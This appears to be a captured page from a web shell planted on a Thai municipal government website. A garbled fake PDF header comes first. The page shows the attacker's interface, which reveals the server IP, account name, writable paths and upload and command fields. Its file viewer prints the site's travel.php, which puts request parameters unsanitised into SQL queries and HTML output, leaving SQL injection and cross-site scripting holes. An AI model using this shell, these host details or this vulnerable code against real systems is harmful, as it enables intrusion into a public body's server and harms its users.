%PDF-1.5 % ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.17.190  /  Your IP : 18.190.158.12
Web Server : Apache/2
System : Linux cat17190.thaihostserver.com 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
User : bungkla ( 1054)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bungkla/domains/bungkla.go.th/public_html/travels/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bungkla/domains/bungkla.go.th/public_html/travels/travel.php
<?
Header("Content-Type: text/html; charset=UTF-8");;
$salb_id = $_GET['salb_id'];
if(!isset($salb_id) || empty($salb_id))
{
	die;exit;
}
include("../include/config.php");
include("../include/function.php");
include("../include/config_db.php");			

$c_alb_title = "";
$c_alb_description = "";
$c_alb_counter = "";
$sql = "select * from `travel_album` where (`id`='$salb_id') limit 1 ";
$result = mysql_query($sql) or die("Can't send query !A");
$num_rows = mysql_num_rows($result);
if($num_rows>0){
	$c_alb_title = mysql_result($result, 0,"alb_title");
	$c_alb_description = mysql_result($result, 0,"alb_description");
	$c_alb_clip = mysql_result($result, 0,"alb_clip");
	$c_date_publish = mysql_result($result, 0,"date_publish");
	$c_date = dateThai_MM($c_date_publish);
	$c_alb_counter = mysql_result($result, 0,"alb_counter");
	$c_alb_counter = $c_alb_counter + 1;
	$sql = "update `travel_album` set `alb_counter`='$c_alb_counter' where (`id`='$salb_id')";
	$dbquery = mysql_query($sql) or die("ไม่สามารถบันทึกข้อมูลได้ !B");
	unset($dbquery);
	//echo "<br>".$c_alb_counter." AAAAAAAA";
}
mysql_free_result($result);
unset($result);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>สถานที่สำคัญ แหล่งท่องเที่ยวในตำบล<?=$c_alb_title;?></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="KeyWords" content="<?=$c_alb_title;?>,  แหล่งท่องเที่ยว" />
<meta name="Description" content="แหล่งท่องเที่ยว <?=$c_alb_title;?> " />
<meta name="ROBOTS" content="index, follow" />
<meta http-equiv="CACHE-CONTROL" content="NO-CACHE">
<meta http-equiv="EXPIRES" content="Sun, 1 Jan 2000 12:00:00 GMT">
<meta http-equiv="PRAGMA" content="NO-CACHE">
<link href="svstyles.css?v=<?php echo filemtime('svstyles.css');?>" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="../include/js/prototype.js"></script>
<script type="text/javascript" src="../include/js/scriptaculous.js?load=effects"></script>
<script type="text/javascript" src="../include/js/lightbox.js"></script>
<link rel="stylesheet" href="../include/css/lightbox.css" type="text/css" media="screen" />
<style type="text/css">
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
	background-color:#ffffff;	
	font-family: 'Kanit', sans-serif;	
}



a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: none;
}
a:active {
	text-decoration: none;
}

</style>
<link rel="icon" href= "../logo/logo01.png" type="image/x-icon"/>
<link href="../styles.css" rel="stylesheet" type="text/css" />

<!--font-->
<link href="https://fonts.googleapis.com/css?family=Chakra+Petch|Kanit|Pridi&display=swap" rel="stylesheet">



</head>

<body  background="../images/0bg1.jpg" style="background-repeat:no-repeat; background-position:top"   font-family: 'Kanit', sans-serif;	>


<div align="center" valign="top">
  <table width="980" border="0" cellpadding="0" cellspacing="0" valign="top">
	
	
<tr>
    <td height="144" align="center" valign="top"><img src="../images/01logo_head.png" width="980" height="144"></td>
  </tr>
  <tr>
          <td align="center" valign="top"><div align="center"><marquee behavior="SCROLL"><img src="../images/b_n/77.gif" width="112" height="167" />
            </marquee>
            </div></td>
    </tr>
  <tr>
    <td height="292" align="center" valign="top">&nbsp;</td>
  </tr>
    <tr>
    <td height="131" align="center" valign="top"><table width="980" height="131" border="0" align="center" cellpadding="0" cellspacing="0">
      <tr>
        <td align="center" valign="top"><img src="../images/bg/bt5.gif" width="256" height="96" /></td>
        <td align="center" valign="top">&nbsp;</td>
        <td align="center" valign="top"><div align="center"><style>
				  * {
    -moz-box-sizing: border-box;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
    margin: 0;
    padding: 0;
}

.image-box {
    position: relative;
    margin: auto;
    overflow: hidden;

}
.image-box img {

    transition: all 0.3s;
    display: block;
    height: auto;
    transform: scale(1);
}

.image-box:hover img {
    transform: scale(1.1);
}

</style></div></td>
        <td align="center" valign="top"><img src="../images/bg/bt5.gif" width="256" height="96" /></td>
      </tr>
    </table></td>
  </tr>
						    <tr>
						      <td height="163" align="center" valign="top" class="manu1"><table width="980" height="163" border="0" cellpadding="0" cellspacing="0">
                                <tr>
                                  <td><div align="center"class="image-box"><a href="/index.php"><img src="../images/03menutop_01.png" width="163" height="163" border="0" /></a></div></td>
                                </tr>
                              </table>
  <tr>
	
	
	
	
	
	
	
	<tr>
      <td valign="top">
		  <div align="center">
			<table width="90%" border="0" cellspacing="0" cellpadding="0" align="center">
			<tr><td valign="top">&nbsp;<a name="toppage"></a></td>
			</tr>
			<tr>
			   <td class="title2"><div align="center"></div></td>
			</tr>
			</table>
		  </div>
		</td>
	</tr>
  </table>
</div>

<div id="main">
	<div id="svDivActivitiesD"><!--Content-->
			<div id="svDivAlbums"><? echo "<center><font size=3><b>อัลบั้มภาพ \"".$c_alb_title."\"</b></font></center><br />"; ?>
			<a href="../index.php" title="หน้าแรก" class="linktextblack">หน้าแรก</a> > <a href="index.php" title="มะกอกเหนือ เมืองแห่งโลกดึกดำบรรพ์ 500 ล้านปี" class="linktextblack">อัลบั้มภาพ</a> > <a href="activities.php?salb_id=<?=$salb_id;?>" title="<?=$c_alb_title;?>" class="linktextblack"><?=$c_alb_title;?></a> <font class="textgray">( ประกาศเมื่อวันที่ <?=$c_date;?> )</font>
				<div id="svDivAlbums5A" class="magnifyarea">

					<?
	
					echo "<div id=\"svDivAlbums5RowA\">\n";
	
					$sql = "select * From `travel_album_detail` where (`alb_id`='$salb_id') ";
					$sql .= "Order by `id` Asc ";
					
					$item = 0;
					$Per_Page = 25;
					if(!$_GET['Page'])
					{
						$Page=1;
					}else
					{
						$Page = $_GET['Page'];
					}
					$Prev_Page = $Page-1;
					$Next_Page = $Page+1;
					$Page_start = ($Per_Page*$Page)-$Per_Page;
					$sql_2 = "SELECT COUNT(*) AS num_rows_2 FROM `travel_album_detail` where  (`alb_id`='$salb_id') ";
					$dbquery = mysql_query($sql_2);
					$Num_Rows = mysql_num_rows($dbquery);
					if($Num_Rows>0)
					{
						$Num_Rows = mysql_result($dbquery, 0,"num_rows_2");
					}
					mysql_free_result($dbquery);
					unset($dbquery);
					if($Num_Rows<=$Per_Page)
					$Num_Pages =1;
					else if(($Num_Rows % $Per_Page)==0)
					$Num_Pages =($Num_Rows/$Per_Page) ;
					else 
					$Num_Pages =($Num_Rows/$Per_Page) +1;
					$Num_Pages = (int)$Num_Pages;
					if(($Page>$Num_Pages) || ($Page<0))
					print "<center><b>ยังไม่มีข้อมูล<b></center>";
					//print "<center><b>จำนวน $Page มากกว่า $Num_Pages ยังไม่มีข้อความ<b></center>";
					$sql .= "LIMIT $Page_start , $Per_Page";
					//ส่วนแสดงผล
					$result = mysql_query($sql);
					//$item = ($Page-1) * $Per_Page;
					$item = 0;

					While($row= mysql_fetch_assoc($result))
					{
						$item = $item + 1;
						if (($item % 6) == 0){
							echo "</div><br>\n";
							echo "<div id=\"svDivAlbums5RowA\">\n";
							$item = 1;
						}
					
						$c_id =  $row["id"];
						$c_ald_name = $row["ald_name"];
						$c_ald_name_sub = $c_ald_name;
						if(strlen($c_ald_name_sub) > 80){
							$c_ald_name_sub = trim(utf8_substr($c_ald_name_sub,0,80));
						}
						$c_ald_photopath = $row["ald_photopath"];
						$c_ald_photopath = trim($c_ald_photopath);
						//$c_ald_counter = $row["ald_counter"];

						$file_dir = 'a'.$salb_id.'_a';

						$images = "";
						$images2 = "";
						if($c_ald_photopath != "")
						{
							$images = "../photoThumbnail/travels/".$file_dir."/thumb/t_".$c_ald_photopath;
							$images2 = "../photoThumbnail/travels/".$file_dir."/".$c_ald_photopath;
						}
						else
						{
							$images = "images/noimage.gif";
							$images2 = "images/noimage.gif";
						}

						$r_item = $item+2;
						
						echo "	<div id=\"svDivAlbums5".$r_item."\">\n";
						echo "		<div id=\"svDivAlbums531\" style=\"\"><img src=\"".$_web_path."/travels/images/albums_05_03_01.jpg\" width=\"159\" height=\"5\" alt=\"\"></div>\n";
						echo "		<div id=\"svDivAlbums532\" style=\"\"><img src=\"".$_web_path."/travels/images/albums_05_03_02.jpg\" width=\"4\" height=\"100\" alt=\"\"></div>\n";
						echo "		<div id=\"svDivAlbums533\" style=\"\"><a href=\"".$images2."\" rel=\"lightbox[pictureslide]\" title=\"".$c_ald_name."\"><img src=\"".$images."\" width=\"150\" height=\"100\" alt=\"".$c_ald_name."\" border=\"0\"></a></div>\n";
						echo "		<div id=\"svDivAlbums534\" style=\"\"><img src=\"".$_web_path."/travels/images/albums_05_03_04.jpg\" width=\"5\" height=\"100\" alt=\"\"></div>\n";
						echo "		<div id=\"svDivAlbums535\" style=\"\"><img src=\"".$_web_path."/travels/images/albums_05_03_05.jpg\" width=\"159\" height=\"11\" alt=\"\"></div>\n";
						echo "		<div id=\"svDivAlbums536\" style=\"\" class=\"linktextblack\"><a href=\"".$images2."\" rel=\"lightbox[pictureslide]\" title=\"".$c_ald_name."\" class=\"linktextblack\">".$c_ald_name_sub."</a><br /></div>\n";
						echo "	</div>\n";

					} //while

					echo "</div>\n";
					echo "<div id=\"svDivAlbumsMoreC\">\n";

					$PHP_SELF = $_SERVER['PHP_SELF'];
					if($Prev_Page) 
					echo "&nbsp;&nbsp;<a href='$PHP_SELF?Page=1&salb_id=$salb_id#top_page' class='linktextblack'><<</a>&nbsp;&nbsp;<a href='$PHP_SELF?Page=$Prev_Page&salb_id=$salb_id#top_page' class='linktextblack'><</a>&nbsp;";
					$Show_Page = 10;
					$s1 = $Page - $Show_Page;
					if($s1 <= 0 ){$s1 = 1;}
					$s2 =  $Page + $Show_Page;
					if($s2 > $Num_Pages){$s2 = $Num_Pages;}
					if($s1 == 1 ){
						$s2 = $Show_Page+10;
						if($s2 > $Num_Pages){$s2 = $Num_Pages;}
					}
					if(($s2 == $Num_Pages) &&($s1 != 1)){
						$s1 = $Num_Pages-20;
						if($s1 <= 0 ){$s1 = 1;}
					}

					for($i=$s1; $i<=$s2; $i++)
					{
						if($i != $Page)
						{
							echo "<a href='$PHP_SELF?Page=$i&salb_id=$salb_id#top_page' class='linktextblack'>[ $i ]</a>";
						}
						else
						{
							if($Num_Rows > $Per_Page){
								echo "<font class='linktextblack'><b>[ $i ]</b></font>";
							}
						}
					}

					if($Num_Pages>($i-1))
					{
						if($Num_Pages>($i+1))
						{
							$bNum_Pages = $Num_Pages - 1;
							echo "...<a href ='$PHP_SELF?Page=$bNum_Pages&salb_id=$salb_id#top_page' class='linktextblack'>[ $bNum_Pages ]</a>";
						}else if($Num_Pages==($i+1))
						{
							$bNum_Pages = $i;
							echo "<a href ='$PHP_SELF?Page=$bNum_Pages&salb_id=$salb_id#top_page' class='linktextblack'>[ $bNum_Pages ]</a>";
						}
						echo "<a href ='$PHP_SELF?Page=$Num_Pages&salb_id=$salb_id#top_page' class='linktextblack'>[ $Num_Pages ]</a>";
					}

					if($Page!=$Num_Pages)
					echo "&nbsp;<a href ='$PHP_SELF?Page=$Next_Page&salb_id=$salb_id#top_page' class='linktextblack'>&nbsp;></a>&nbsp;&nbsp;<a href ='$PHP_SELF?Page=$Num_Pages&salb_id=$salb_id#top_page' class='linktextblack'>>></a>";
					echo "&nbsp;</div>\n";
					if(isset($result)){
					mysql_free_result($result );
					unset($result);
					}
					include("../include/close_db.php");

					?>
					<div align="center" style="margin-top:20px;">
					<? echo $c_alb_description."<br /><br />";?>
					<? echo $c_alb_clip;?>
					</div>
					<div align="center" style="margin-top:20px;">
						<iframe src="travel_comment.php?salb_id=<?=$salb_id;?>" id="iframecom" frameborder="0"  height="700px" width="800px" style="border: 0px;" scrolling="no" marginheight="5px" marginwidth="0px"></iframe>
				  </div>
				</div>			
	  </div>
	</div>
</div>
</body>
</html>

Anon7 - 2022
AnonSec Team